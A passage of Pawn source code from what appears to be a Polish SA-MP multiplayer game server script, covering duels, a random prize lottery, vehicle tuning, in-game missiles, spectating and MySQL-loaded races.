  5468. forward DualOdlicz(playerid, player, count);
  5469. public DualOdlicz(playerid, player, count)
  5470. {
  5471.         if(count > 0)
  5472.         {
  5473.                 format(strx, sizeof strx, "~r~~h~%d", 3);
  5474.         ShowGameDraw(playerid, strx, 1000);
  5475.         ShowGameDraw(player, strx, 1000);
  5476.         SetTimerEx("DualOdlicz", 1000, 0, "ddd", playerid, player, count-1);
  5477.         }else{
  5478.                 ShowGameDraw(playerid, "Start!", 1000);
  5479.         ShowGameDraw(player, "Start!", 1000);
  5480.         TogglePlayerControllable(player, 1);
  5481.         TogglePlayerControllable(playerid, 1);
  5482.         }
  5483.         return 1;
  5484. }
  5485. forward DualTimeout(playerid, player);
  5486. public DualTimeout(playerid, player)
  5487. {
  5488.         if(GetPVarInt(playerid, "Walczy") == 0)
  5489.         {
  5490.         SetPVarInt(playerid, "pWalka", -1);
  5491.                 SetPVarInt(playerid, "pDWeap1", 0);
  5492.                 SetPVarInt(playerid, "pDWeap2", 0);
  5493.                 SetPVarInt(playerid, "pDExp", 0);
  5494.                 format(strx, sizeof strx, ""C_O"Gracz "C_B"%s "C_O"odrzucił twoje zaproszenie!", pName[player]);
  5495.                 InfoBox(playerid, strx);
  5496.         }
  5497.         if(GetPVarInt(player, "Walczy") == 0)
  5498.         {
  5499.             SetPVarInt(player, "pWalka", -1);
  5500.                 SetPVarInt(player, "pDWeap1", 0);
  5501.                 SetPVarInt(player, "pDWeap2", 0);
  5502.                 SetPVarInt(player, "pDExp", 0);
  5503.         }
  5504.         return 1;
  5505. }
  5506.  
  5507. forward ExplodeTimer(admin, player, Float:hp);
  5508. public ExplodeTimer(admin, player, Float:hp)
  5509. {
  5510.         new Float:nhp;
  5511.         GetPlayerHealth(player, nhp);
  5512.         if(nhp < hp || GetPVarInt(player, "explode") == 0)
  5513.         {
  5514.             SCM(admin, -1, "[EXPLODE]:{FFAA00} Graczowi spadło HP lub jest zabity.");
  5515.                 format(strx, sizeof strx, "[EXPLODE] %s - graczowi spadlo HP.", player);
  5516.                 WriteLog(strx);
  5517.  
  5518.         }else{
  5519.             SCM(admin, -1, "{FFAA00} Postępowanie administracyjne - czynność: explode.");
  5520.             SCM(admin, -1, "[EXPLODE]:{FFAA00} Graczowi nie spadło HP.");
  5521.             SCM(admin, -1, "[EXPLODE]:{FFAA00} Upewnij się że gracz nie posiada god'a od administratora.");
  5522.                 format(strx, sizeof strx, "[EXPLODE] %s - graczowi nie spadlo HP.", player);
  5523.                 WriteLog(strx);
  5524.  
  5525.         }
  5526.         return 1;
  5527. }
  5528.  
  5529. forward CountDown();
  5530. public CountDown()
  5531. {
  5532.         new mstr[64];
  5533.         Odliczanie--;
  5534.     if(Odliczanie > 0)
  5535.     {
  5536.         format(mstr, 64, "~r~~h~%d~w~!", Odliczanie);
  5537.         TextDrawSetString(CountDraw, mstr);
  5538.         SetTimer("CountDown", 1000, 0);
  5539.         }else if(Odliczanie == 0)
  5540.         {
  5541.             TextDrawSetString(CountDraw, "~b~~h~START~w~!!!");
  5542.                 SetTimer("CountDown", 1500, 0);
  5543.                 pLoop(i)
  5544.                 {
  5545.                         if(GetPlayerVirtualWorld(i) == 0 && GetPlayerInterior(i) == 0)
  5546.                 {
  5547.                         if(IsPlayerInRangeOfPoint(i, 40.0,OdliczPos[0],OdliczPos[1],OdliczPos[2]) == 1)
  5548.                         {
  5549.                                         PlayerPlaySound(i, 1057, 0.0, 0.0, 0.0);
  5550.                         }
  5551.                         }
  5552.                 }
  5553.         }else{
  5554.             TextDrawHideForAll(CountDraw);
  5555.             Odliczanie = 0;
  5556.         }
  5557.         return 1;
  5558. }
  5559.  
  5560. forward Losowanko(playerid);
  5561. public Losowanko(playerid)
  5562. {
  5563.         if(GetPlayerVirtualWorld(playerid) > 0 && GetPlayerVirtualWorld(playerid) < 500) return 0;
  5564.  
  5565.         mysql_query("UPDATE `stats` SET `value` = `value` + 1 WHERE `name` = 'los'");
  5566.  
  5567.         switch(random(8))
  5568.         {
  5569.                 case 0:
  5570.                         format(strx, sizeof(strx), ""C_B"%s "C_O"nic nie wygrał w "C_B"/los!", pName[playerid]);
  5571.                 case 1:
  5572.                 {
  5573.                     new x = random(15);
  5574.                         GivePlayerScore(playerid, x);
  5575.                         format(strx, sizeof(strx), ""C_B"%s{00AAFF} wygrał "C_B"%dexp "C_O"w "C_B"/los", pName[playerid],x);
  5576.                 }
  5577.                 case 2:
  5578.                 {
  5579.                     new i = random(10000);
  5580.                         GivePlayerMoney(playerid, i);
  5581.                         format(strx, sizeof(strx), ""C_B"%s{00AAFF} wygrał "C_B"%d$ "C_O"w "C_B"/los", pName[playerid],i);
  5582.                 }
  5583.                 case 3:
  5584.                 {
  5585.                         SetPlayerPos(playerid, 2395.6543,1000.5044,520.0);
  5586.                         SetPlayerInterior(playerid, 0);
  5587.                         ResetPlayerWeapons(playerid);
  5588.                         format(strx, sizeof(strx), ""C_B"%s"C_O" wygrał skok bez spadochronu w "C_B"/los!", pName[playerid]);
  5589.                 }
  5590.                 case 4:
  5591.                 {
  5592.                         SetPlayerArmour(playerid, 100.0);
  5593.                         format(strx, sizeof(strx), ""C_B"%s"C_O" wygrał pancerz w "C_B"/los", pName[playerid]);
  5594.                 }
  5595.                 case 5:
  5596.                 {
  5597.                         KillPlayer(playerid);
  5598.                         format(strx, sizeof(strx), ""C_B"%s"C_O" wygrał kostuchę w "C_B"/los!", pName[playerid]);
  5599.                 }
  5600.                 case 6:
  5601.                 {
  5602.                         GivePlayerScore(playerid,-15);
  5603.                         format(strx, sizeof(strx), ""C_B"%s"C_O" stracił "C_B"15"C_O"exp w "C_B"/los!", pName[playerid]);
  5604.                 }
  5605.                 case 7:
  5606.                 {
  5607.                     GivePlayerWeapon(playerid, 24, 999);
  5608.                     format(strx, sizeof(strx), ""C_B"%s"C_O" wygrał Deagle w "C_B"/los!", pName[playerid]);
  5609.                 }
  5610.         }
  5611.         SCMToAll(-1, strx);
  5612.         return 1;
  5613. }
  5614. //--
  5615.  
  5616. forward WylanczAnn();
  5617. public WylanczAnn()
  5618. {
  5619.         KillTimer(AnnTim);
  5620.         AnnON=0;
  5621.         TextDrawHideForAll(AnnTD);
  5622.         return 1;
  5623. }
  5624.  
  5625. AllSkins()
  5626. {
  5627.     for(new skinid; skinid < 300; skinid++)
  5628.         {
  5629.                 if (skinid >= 0 || skinid != 74)
  5630.             {
  5631.                         AddPlayerClass(skinid,0.0,0.0,8.0,0.0,0,0,0,0,0,0);
  5632.                 }
  5633.         }
  5634.         return 1;
  5635. }
  5636.  
  5637. GetVehicleModelIdByName(modelname[])
  5638. {
  5639.     for(new i = 400; i <= 611; i++)
  5640.     {
  5641.         if(strfind(VehicleNames[i-400],modelname, true) != -1)
  5642.         {
  5643.             return i;
  5644.         }
  5645.     }
  5646.         return 0;
  5647. }
  5648.  
  5649. IsNumeric(const string[])
  5650. {
  5651.         for (new i = 0, j = strlen(string); i < j; i++)
  5652.         {
  5653.                 if (string[i] > '9' || string[i] < '0') return 0;
  5654.         }
  5655.         return 1;
  5656. }
  5657. GetVehicleName(model)
  5658. {
  5659.         new mstr[64];
  5660.         format(mstr, sizeof(mstr), VehicleNames[model-400]);
  5661.         return mstr;
  5662. }
  5663. NoRampCar(vid)
  5664. {
  5665.         switch(GetVehicleModel(vid))
  5666.         {
  5667.                 case 592:return 0;//
  5668.                 case 577:return 0;//
  5669.                 case 511:return 0;//
  5670.                 case 512:return 0;//
  5671.                 case 593:return 0;//
  5672.                 case 520:return 0;//
  5673.                 case 553:return 0;//
  5674.                 case 476:return 0;//
  5675.                 case 519:return 0;//
  5676.                 case 460:return 0;//
  5677.                 case 548:return 0;//
  5678.                 case 425:return 0;//
  5679.                 case 417:return 0;//
  5680.                 case 487:return 0;//
  5681.                 case 488:return 0;//
  5682.                 case 497:return 0;//
  5683.                 case 563:return 0;//
  5684.                 case 447:return 0;//
  5685.                 case 469:return 0;//
  5686.                 case 513:return 0;//
  5687.                 case 441:return 0;//
  5688.                 case 501:return 0;//
  5689.         case 564:return 0;//
  5690.         case 594:return 0;//
  5691.         case 464:return 0;//
  5692.         case 465:return 0;//
  5693.         }
  5694.         return 1;
  5695. }
  5696.  
  5697. forward RemoveRamp(playerid, objs);
  5698. public RemoveRamp(playerid, objs)
  5699. {
  5700.         SetPVarInt(playerid, "pRampUse", 0);
  5701.         DestroyPlayerObject(playerid, objs);
  5702.         return 1;
  5703. }
  5704. GiveStandartWeapon(i)
  5705. {
  5706.         GivePlayerWeapon(i, pSpawnWeapon[i][0], 1);
  5707.         GivePlayerWeapon(i, pSpawnWeapon[i][1], 4000);
  5708.         GivePlayerWeapon(i, pSpawnWeapon[i][2], 4000);
  5709.         GivePlayerWeapon(i, pSpawnWeapon[i][3], 4000);
  5710.         GivePlayerWeapon(i, pSpawnWeapon[i][4], 4000);
  5711.         GivePlayerWeapon(i, pSpawnWeapon[i][5], 4000);
  5712.         GivePlayerWeapon(i, 43, 100);
  5713.         return 1;
  5714. }
  5715.  
  5716. CreateStreamObject(modelid,Float:X,Float:Y,Float:Z,Float:rX,Float:rY,Float:rZ)
  5717.         return CreateDynamicObjectEx(modelid,X,Y,Z,rX,rY,rZ,200.0,350.0, {0,1}, {0});
  5718.  
  5719. AddVehComp(vehicleid, ...)
  5720. {
  5721.         for(new n = 1; n < numargs(); n++)
  5722.                 AddVehicleComponent(vehicleid, getarg(n, 0));
  5723. }
  5724. HydraulicVehicle(vehicleid)
  5725. {
  5726.         switch(GetVehicleModel(vehicleid))
  5727.         {
  5728.                 case 400,401,404,405,410,415,418,420,
  5729.                          422,421,426,436,439,477,540,542,
  5730.                          546,547,549,550,551,558,559,560,
  5731.                          561,562,567,575,576,580,585,589,
  5732.                          600,603,478,489,491,492,496,500,
  5733.                          505,516,517,518,527,529,534,535,
  5734.                          429,602,402,541,587,565,494,502,
  5735.                          503,411,475,506,451,588,488,445,
  5736.                          504,568,495,507,419,536,412,566,
  5737.                          413,480,533,555,424,431,438,437,
  5738.                          490,596,598,597,599,467: return 1;
  5739.  
  5740.                 default: return 0;
  5741.         }
  5742.         return 0;
  5743. }
  5744.  
  5745. TuneVehicle(vehicleid)
  5746. {
  5747.         switch(GetVehicleModel(vehicleid))
  5748.         {
  5749.                 case 400:
  5750.                 AddVehComp(vehicleid,1009,1010,1013,1018,1019,1020,1021,1024);
  5751.                 case 401:
  5752.                 AddVehComp(vehicleid,1001,1003,1004,1005,1006,1007,1009,1010,1013,1017,1019,10201142,1143,1144,1145);
  5753.                 case 404:
  5754.                 AddVehComp(vehicleid,1000,1002,1007,1009,1010,1013,1016,1017,1019,1020,1021);
  5755.                 case 405:
  5756.                 AddVehComp(vehicleid,1000,1001,1009,1010,1014,1018,1019,1020,1021,1023);
  5757.                 case 410:
  5758.                 AddVehComp(vehicleid,1001,1003,1007,1009,1010,1013,1017,1019,1020,1021,1023,1024);
  5759.                 case 415:
  5760.                 AddVehComp(vehicleid,1001,1003,1007,1009,1010,1017,1018,1019,1023);
  5761.                 case 418:
  5762.                 AddVehComp(vehicleid,1002,1006,1009,1010,1016,1020,1021);
  5763.                 case 420:
  5764.                 AddVehComp(vehicleid,1087,1001,1003,1004,1005,1009,1010,1019,1021);
  5765.                 case 421:
  5766.                 AddVehComp(vehicleid,1000,1009,1010,1014,1016,1018,1019,1020,1021,1023);
  5767.                 case 422:
  5768.                 AddVehComp(vehicleid,1007,1009,1010,1013,1017,1019,1020,1021);
  5769.                 case 426:
  5770.                 AddVehComp(vehicleid,1001,1003,1004,1005,1006,1009,1010,1019,1021);
  5771.                 case 436:
  5772.                 AddVehComp(vehicleid,1001,1003,1006,1007,1009,1010,1013,1017,1019,1020,1021,1022);
  5773.                 case 439:
  5774.                 AddVehComp(vehicleid,1001,1003,1007,1009,1010,1013,1017,1023,1142,1143,1144,1145);
  5775.                 case 477:
  5776.                 AddVehComp(vehicleid,1006,1007,1009,1010,1017,1018,1019,1020,1021);
  5777.                 case 478:
  5778.                 AddVehComp(vehicleid,1004,1005,1009,1010,1012,1013,1020,1021,1022,1024);
  5779.                 case 489:
  5780.                 AddVehComp(vehicleid,1000,1002,1004,1005,1006,1009,1010,1013,1016,1018,1019,1020,1024);
  5781.                 case 491:
  5782.                 AddVehComp(vehicleid,1003,1007,1009,1010,1014,1017,1018,1019,1020,1021,1023,1142,1143,1144,1145);
  5783.                 case 492:
  5784.                 AddVehComp(vehicleid,1000,1004,1005,1006,1009,1010,1016);
  5785.                 case 496:
  5786.                 AddVehComp(vehicleid,1001,1002,1003,1006,1007,1009,1010,1011,1017,1019,1020,1023);
  5787.                 case 500:
  5788.                 AddVehComp(vehicleid,1009,1010,1013,1019,1020,1021,1024);
  5789.                 case 505:
  5790.                 AddVehComp(vehicleid,1000,1002,1004,1005,1006,1009,1010,1013,1016,1018,1019,1020,1024);
  5791.                 case 516:
  5792.                 AddVehComp(vehicleid,1000,1002,1004,1007,1009,1010,1015,1016,1017,1018,1019,1020,1021);
  5793.                 case 517:
  5794.                 AddVehComp(vehicleid,1002,1003,1007,1009,1010,1016,1017,1018,1019,1020,1023,1142,1143,1144,1145);
  5795.                 case 518:
  5796.                 AddVehComp(vehicleid,1001,1003,1005,1006,1007,1009,1010,1013,1017,1018,1020,1023,1142,1143,1144,1145);
  5797.                 case 527:
  5798.                 AddVehComp(vehicleid,1001,1007,1009,1010,1014,1015,1017,1018,1020,1021);
  5799.                 case 529:
  5800.                 AddVehComp(vehicleid,1001,1003,1006,1007,1009,1010,1011,1012,1017,1018,1019,1020,1023);
  5801.                 case 534:
  5802.                 AddVehComp(vehicleid,1009,1010,1100,1101,1106,1122,1123,1124,1125,1126,1127,1178,1179,1180,1185);
  5803.                 case 535:
  5804.                 AddVehComp(vehicleid,1009,1010,1109,1110,1111,1112,1113,1114,1115,1116,1117,1118,1119,1120,1121);
  5805.                 case 536:
  5806.                 AddVehComp(vehicleid,1009,1010,1103,1104,1105,1107,1108,1128,1181,1182,1183,1184);
  5807.                 case 540:
  5808.                 AddVehComp(vehicleid,1001,1004,1006,1007,1009,1010,1017,1018,1019,1020,1023,1024,1142,1143,1144,1145);
  5809.                 case 542:
  5810.                 AddVehComp(vehicleid,1009,1010,1014,1015,1018,1019,1020,1021,1142,1143,1144,1145);
  5811.                 case 546:
  5812.                 AddVehComp(vehicleid,1001,1002,1004,1006,1007,1009,1010,1017,1018,1019,1023,1024,1142,1143,1144,1145);
  5813.                 case 547:
  5814.                 AddVehComp(vehicleid,1000,1003,1009,1010,1016,1018,1019,1020,1021);
  5815.                 case 549:
  5816.                 AddVehComp(vehicleid,1001,1003,1007,1009,1010,1011,1012,1017,1018,1019,1020,1023,1142,1143,1144,1145);
  5817.                 case 550:
  5818.                 AddVehComp(vehicleid,1001,1003,1004,1005,1006,1009,1010,1018,1019,1020,1023,1142,1143,1144,1145);
  5819.                 case 551:
  5820.                 AddVehComp(vehicleid,1002,1003,1005,1006,1009,1010,1016,1018,1019,1020,1021,1023);
  5821.                 case 558:
  5822.                 AddVehComp(vehicleid,1009,1010,1088,1089,1090,1091,1092,1093,1094,1095,1163,1164,1165,1166,1167,1168);
  5823.                 case 559:
  5824.                 AddVehComp(vehicleid,1009,1010,1065,1066,1067,1068,1069,1070,1071,1072,1158,1159,1160,1161,1162,1173);
  5825.                 case 560:
  5826.                 AddVehComp(vehicleid,1009,1010,1026,1027,1028,1029,1030,1031,1032,1033,1138,1139,1140,1141,1169,1170);
  5827.                 case 561:
  5828.                 AddVehComp(vehicleid,1009,1010,1055,1056,1057,1058,1059,1060,1061,1062,1063,1064,1154,1155,1156,1157);
  5829.                 case 562:
  5830.                 AddVehComp(vehicleid,1009,1010,1034,1035,1036,1037,1038,1039,1040,1041,1146,1147,1148,1149,1171,1172);
  5831.                 case 565:
  5832.                 AddVehComp(vehicleid,1009,1010,1045,1046,1047,1048,1049,1050,1051,1052,1053,1054,1150,1151,1152,1153);
  5833.                 case 567:
  5834.                 AddVehComp(vehicleid,1009,1010,1102,1129,1130,1131,1132,1133,1186,1187,1188,1189);
  5835.                 case 575:
  5836.                 AddVehComp(vehicleid,1009,1010,1042,1043,1044,1099,1174,1175,1176,1177);
  5837.                 case 576:
  5838.                 AddVehComp(vehicleid,1009,1010,1134,1135,1136,1137,1190,1191,1192,1193);
  5839.                 case 580:
  5840.                 AddVehComp(vehicleid,1001,1006,1007,1009,1010,1017,1018,1020,1023);
  5841.                 case 585:
  5842.                 AddVehComp(vehicleid,1001,1003,1006,1007,1009,1010,1013,1017,1018,1019,1020,1023,1142,1143,1144,1145);
  5843.                 case 589:
  5844.                 AddVehComp(vehicleid,1000,1004,1005,1006,1007,1009,1010,1013,1016,1017,1018,1020,1024,1142,1143,1144,1145);
  5845.                 case 600:
  5846.                 AddVehComp(vehicleid,1004,1005,1006,1007,1009,1010,1013,1017,1018,1020,1022);
  5847.                 case 603:
  5848.                 AddVehComp(vehicleid,1001,1006,1007,1009,1010,1017,1018,1019,1020,1023,1024,1142,1143,1144,1145);
  5849.         default:
  5850.         return 0;
  5851.         }
  5852.     return 1;
  5853. }
  5854.  
  5855. IsCar(vehicleid)
  5856. {
  5857.         switch(GetVehicleModel(vehicleid))
  5858.         {
  5859.                 case 416,445,602,485,568,429,499,424,
  5860.                         536,496,504,422,609,498,401,575,
  5861.                         518,402,541,482,431,438,457,527,
  5862.                         483,524,415,542,589,480,596,599,
  5863.                         597,598,578,486,507,562,585,427,
  5864.                         419,587,490,528,533,544,407,565,
  5865.                         455,530,526,466,604,492,474,434,
  5866.                         502,503,494,579,545,411,546,559,
  5867.                         508,571,400,403,517,410,551,500,
  5868.                         418,572,423,516,582,467,404,514,
  5869.                         603,600,413,426,436,547,489,441,
  5870.                         594,564,515,479,534,505,442,440,
  5871.                         475,543,605,495,567,428,405,535,
  5872.                         458,580,439,561,409,560,550,506,
  5873.                         601,574,566,549,420,459,576,583,
  5874.                         451,558,552,540,491,412,478,421,
  5875.                         529,555,456,554,477: return 1;
  5876.         }
  5877.         return 0;
  5878. }
  5879.  
  5880. IsIP(const ip[], bool:port = false)
  5881. {
  5882.     for(new cIP[2]; cIP[0] != strlen(ip); cIP[0]++)
  5883.     {
  5884.         switch(ip[cIP[0]])
  5885.         {
  5886.             case '.', ' ', ':', ',', '*', '/', ';', '\\', '|', '_' : continue;
  5887.             case '0' .. '9': cIP[1]++;
  5888.             default: cIP[1] = 0;
  5889.         }
  5890.         if((port == false) && (cIP[1] == 8))
  5891.         {
  5892.             new strex[8];
  5893.             strmid(strex, ip, cIP[0] - 7, cIP[0]);
  5894.             if(IsNumeric(strex))
  5895.                 return 0;
  5896.  
  5897.             return 1;
  5898.         }
  5899.         if((port == true) && (cIP[1] == 12))
  5900.         {
  5901.             new strex[12];
  5902.             strmid(strex, ip, cIP[0] - 11, cIP[0]);
  5903.             if(IsNumeric(strex))
  5904.                 return 0;
  5905.  
  5906.             return 1;
  5907.         }
  5908.     }
  5909.     return 0;
  5910. }
  5911.  
  5912.  
  5913.  
  5914. FetchMissleSlot(objectid)
  5915. {
  5916.         for(new i = 0; i < MAX_MISSLES; i ++)
  5917.         {
  5918.             if(W_Pociski[i] == objectid) return i;
  5919.         }
  5920.         return -1;
  5921.  
  5922. }
  5923.  
  5924. IsInAircraft(playerid)
  5925. {
  5926.         if(!IsPlayerInAnyVehicle(playerid)) return false;
  5927.         new vehicleid = GetPlayerVehicleID(playerid);
  5928.         switch(GetVehicleModel(vehicleid))
  5929.         {
  5930.                 case
  5931.                 520,432: /* 520 - HYDRA # 432 RHINO */
  5932.                 return true;
  5933.  
  5934.         }
  5935.         return false;
  5936. }
  5937.  
  5938. ResetMissles()
  5939. {
  5940.         for(new i = 0; i < MAX_MISSLES; i ++) W_Pociski[i] = -1;
  5941. }
  5942.  
  5943. FetchNextMissleSlot()
  5944. {
  5945.         for(new i = 0; i < MAX_MISSLES; i ++)
  5946.         {
  5947.             if(W_Pociski[i] == -1) return i;
  5948.         }
  5949.         return -1;
  5950.  
  5951. }
  5952.  
  5953. SetObjectToFaceCords(objectid, Float:x1, Float:y1, Float:z1)
  5954. {
  5955.     new Float:x2,Float:y2,Float:z2;
  5956.     GetObjectPos(objectid, x2,y2,z2);
  5957.  
  5958.     new Float:DX = floatabs(x2-x1);
  5959.     new Float:DY = floatabs(y2-y1);
  5960.     new Float:DZ = floatabs(z2-z1);
  5961.  
  5962.     new Float:yaw = 0;
  5963.     new Float:pitch = 0;
  5964.  
  5965.     if(DY == 0 || DX == 0)
  5966.     {
  5967.         if(DY == 0 && DX > 0)
  5968.                 {
  5969.                 yaw = 00;
  5970.             pitch = 0;
  5971.                 }
  5972.         else if(DY == 0 && DX < 0)
  5973.                 {
  5974.                         yaw = 180;
  5975.             pitch = 180;
  5976.                 }
  5977.         else if(DY > 0 && DX == 0)
  5978.                 {
  5979.                         yaw = 90;
  5980.             pitch = 90;
  5981.                 }
  5982.         else if(DY < 0 && DX == 0)
  5983.                 {
  5984.                 yaw = 270;
  5985.             pitch = 270;
  5986.                 }
  5987.         else if(DY == 0 && DX == 0)
  5988.                 {
  5989.                 yaw = 0;
  5990.                 pitch = 0;
  5991.                 }
  5992.     }
  5993.     else
  5994.     {
  5995.                 yaw = atan(DX/DY);
  5996.                 pitch = atan(floatsqroot(DX*DX + DZ*DZ) / DY);
  5997.         if(x1 > x2 && y1 <= y2)
  5998.                 {
  5999.                 yaw = yaw + 90;
  6000.             pitch = pitch - 45;
  6001.                 }
  6002.         else if(x1 <= x2 && y1 < y2)
  6003.                 {
  6004.                 yaw = 90 - yaw;
  6005.             pitch = pitch - 45;
  6006.                 }
  6007.         else if(x1 < x2 && y1 >= y2)
  6008.                 {
  6009.             yaw = yaw - 90;
  6010.             pitch = pitch - 45;
  6011.                 }
  6012.         else if(x1 >= x2 && y1 > y2)
  6013.                 {
  6014.                 yaw = 270 - yaw;
  6015.             pitch = pitch + 315;
  6016.                 }
  6017.         if(z1 < z2)
  6018.         {
  6019.                 pitch = 360-pitch;
  6020.         }
  6021.         SetObjectRot(objectid, 0, 0, yaw);
  6022.         SetObjectRot(objectid, 0, pitch, yaw+90);
  6023.         }
  6024. }
  6025.  
  6026. public OnDynamicObjectMoved(objectid)
  6027. {
  6028.         new slot = FetchMissleSlot(objectid);
  6029.         if(slot > -1)
  6030.         {
  6031.             new Float:X, Float:Y, Float:Z;
  6032.             GetDynamicObjectPos(objectid,X,Y,Z);
  6033.             CreateExplosion(X,Y,Z,2,BLAST_RADIUS);
  6034.             DestroyDynamicObject(objectid);
  6035.             W_Pociski[slot] = -1;
  6036.             return 1;
  6037.         }
  6038.         if(objectid == BallonID)
  6039.         {
  6040.                 if(BallonPos == 0 || BallonPos == 3)
  6041.                         return 1;
  6042.  
  6043.                 if(BallonKierunek == 0)
  6044.             {
  6045.                         BallonPos++;
  6046.                 }else{
  6047.                     BallonPos--;
  6048.                 }
  6049.  
  6050.                 if(BallonPos == 0 || BallonPos == 3)
  6051.                 {
  6052.                         MoveDynamicObject(objectid, PosBallon[BallonPos][0],PosBallon[BallonPos][1],PosBallon[BallonPos][2], 10.0);
  6053.                 }else
  6054.                 {
  6055.                     MoveDynamicObject(objectid, PosBallon[BallonPos][0],PosBallon[BallonPos][1],PosBallon[BallonPos][2], 22.0);
  6056.                 }
  6057.                 return 1;
  6058.         }
  6059.         if(objectid == BallonID2)
  6060.         {
  6061.                 if(BallonPos2 == 0 || BallonPos2 == 8)
  6062.                         return 1;
  6063.  
  6064.  
  6065.             if(BallonKierunek2 == 0)
  6066.             {
  6067.                         BallonPos2++;
  6068.                 }else{
  6069.                     BallonPos2--;
  6070.                 }
  6071.  
  6072.                 if(BallonPos2 != 3)
  6073.                 {
  6074.                         MoveDynamicObject(objectid, PosBallon2[BallonPos2][0],PosBallon2[BallonPos2][1],PosBallon2[BallonPos2][2], 8.0);
  6075.                 }else
  6076.                 {
  6077.                     MoveDynamicObject(objectid, PosBallon2[BallonPos2][0],PosBallon2[BallonPos2][1],PosBallon2[BallonPos2][2], 17.0);
  6078.                 }
  6079.         return 1;
  6080.         }
  6081.         return 1;
  6082. }
  6083.  
  6084. GetOnlinePlayers()
  6085. {
  6086.         new i, c = 0;
  6087.  
  6088.         while(i != MAX_PLAYERS)
  6089.         {
  6090.             if(IsPlayerConnected(i) && !IsPlayerNPC(i)) c++;
  6091.  
  6092.                 i++;
  6093.         }
  6094.         return c;
  6095. }
  6096.  
  6097.  
  6098. StartSpec(playerid, specid)
  6099. {
  6100.     SetPlayerVirtualWorld(playerid, GetPlayerVirtualWorld(specid));
  6101.     SetPlayerInterior(playerid,GetPlayerInterior(specid));
  6102.     SpecPlayer[playerid] = specid;
  6103.         if(IsPlayerInAnyVehicle(specid))
  6104.         {
  6105.             TogglePlayerSpectating(playerid, 1);
  6106.                 PlayerSpectateVehicle(playerid, GetPlayerVehicleID(specid));
  6107.         }else{
  6108.         TogglePlayerSpectating(playerid, 1);
  6109.                 PlayerSpectatePlayer(playerid, specid);
  6110.         }
  6111.         format(strx, sizeof strx, "_~n~_~n~_~n~~w~%s - ID:%d", pName[specid], specid);
  6112.         ShowGameDraw(playerid, strx, 1000);
  6113.         return 1;
  6114. }
  6115.  
  6116. StopSpec(playerid)
  6117. {
  6118.         TogglePlayerSpectating(playerid, 0);
  6119.         ShowGameDraw(playerid, "~w~Stop Spec", 1000);
  6120.         SpecPlayer[playerid] = -1;
  6121.         return 1;
  6122. }
  6123.  
  6124. LoadFigures()
  6125. {
  6126.         new fparam[64], Float:pos[3], idf;
  6127.         new figur;
  6128.         mysql_query("SELECT `X`,`Y`,`Z`,`id` FROM `figurki`");
  6129.         mysql_store_result();
  6130.         while(mysql_fetch_row(fparam, "|"))
  6131.         {
  6132.             sscanf(fparam, "p<|>fffd", pos[0],pos[1],pos[2], idf);
  6133.                 Figurki_ID[figur] = idf;
  6134.                 Figurki_PICKUP[figur] = CreatePickup(1276, 1, pos[0], pos[1], pos[2], 0);
  6135.                 figur++;
  6136.         }
  6137.         mysql_free_result();
  6138.         return 1;
  6139. }
  6140.  
  6141. LoadRaces()
  6142. {
  6143.         format(strx, sizeof strx, "SELECT * FROM `race_id` LIMIT %d", MAX_RACE);
  6144.         mysql_query(strx);
  6145.         mysql_store_result();
  6146.  
  6147.         new param[200], rid, d3format[64];
  6148.         while(mysql_fetch_row(param, "|"))
  6149.         {
  6150.             sscanf(param, "p<|>is[40]ffffi", RaceInfo[rid][Rid], RaceInfo[rid][Rname], RaceInfo[rid][Rx], RaceInfo[rid][Ry], RaceInfo[rid][Rz], RaceInfo[rid][Rr], RaceInfo[rid][Rmodelid]);
  6151.             RaceInfo[rid][Rcp] = CreateDynamicCP(RaceInfo[rid][Rx], RaceInfo[rid][Ry], RaceInfo[rid][Rz], 3.5, 0, 0, -1, 40.0);
  6152.  
  6153.                 format(d3format, 64, "* {00AAFF}Wyścig"C_O" *\n\n{FFAA00}%s", RaceInfo[rid][Rname]);
  6154.                 Create3DTextLabel(d3format, -1, RaceInfo[rid][Rx], RaceInfo[rid][Ry], RaceInfo[rid][Rz] + 1, 25.0, 0, 1);
  6155.  
  6156.                 CreateDynamicMapIcon(RaceInfo[rid][Rx], RaceInfo[rid][Ry], RaceInfo[rid][Rz], 55, -1, 0, 0);
  6157.  
  6158.                 rid++;
  6159.                 RacesCount++;
  6160.         }
  6161.         mysql_free_result();
  6162.         new allcp[11];
  6163.         for(new i; i < MAX_RACE; i++)
  6164.         {
  6165.             if(isnull(RaceInfo[i][Rname])) break;
  6166.  
  6167.                 format(param, 200, "SELECT COUNT(*) AS `qwe` FROM `race_cp` WHERE `race_id` = '%d'", RaceInfo[i][Rid]);
  6168.             mysql_query(param);
  6169.                 mysql_store_result();
  6170.             mysql_fetch_field("qwe", allcp);
  6171.             mysql_free_result();
  6172.             RaceInfo[i][Rall_cp] = strval(allcp);
  6173.         }
  6174.         printf("Loaded %d races", rid);
  6175.         return 1;
  6176. }
  6177.  
  6178. public OnPlayerEnterDynamicCP(playerid, checkpointid)
  6179. {
  6180.         for(new i; i < MAX_RACE; i++)
  6181.         {
  6182.             if(checkpointid == RaceInfo[i][Rcp])
  6183.             {
  6184.                         SetPVarInt(playerid, "eRaceID", i);
  6185.                         ShowGameDraw(playerid, "~w~/RACE", 5000);
  6186.                 return 1;
  6187.             }
  6188.         }
  6189.         SetPVarInt(playerid, "eRaceID", -1);
  6190.         SetPVarInt(playerid, "eTruckID", -1);
  6191.  
  6192.     if(pInFun[playerid] == 1 && SS_Trwa == 1 && GetPVarInt(playerid, "pZapisanySS") == 1)
  6193.         {
  6194.                 KillTimer(SS_Timer);
  6195.  
  6196.                 SS_Trwa = 0;
  6197.                 SS_Timer = -1;
  6198.                 SS_Zapisanych = 0;
  6199.                 SS_Odliczanie = -1;
  6200.                 DestroyDynamicCP(SS_CP);
  6201.  
  6202.                 GivePlayerScore(playerid, 20);
  6203.                 GivePlayerMoney(playerid, 10000);
  6204.  
  6205.                 format(strx, sizeof strx, ""C_O"Gracz "C_B"%s"C_O" wygrał Skoki!"C_B" 20"C_O"exp +"C_B" 10000$", pName[playerid]);
  6206.                 format(bstrx, sizeof bstrx, "UPDATE `players` SET `won_ss` = `wond_ss` + 1 WHERE `nick` = '%s'", pName[playerid]);
  6207.                 mysql_query(bstrx);
  6208.                 pLoop(i)
  6209.                 {
  6210.                         if(IsPlayerConnected(i) == 1 && GetPVarInt(i, "pZapisanySS") == 1 && pInFun[i] == 1)
  6211.                         {
  6212.                                 SetPVarInt(i, "pZapisanySS", 0);
  6213.                                 pInFun[i] = 0;
  6214.                                 Odstaw(i);
  6215.                                 SCM(i, 0x00AAFFFF, strx);
  6216.                                 DisablePlayerCheckpoint(i);
  6217.                         }
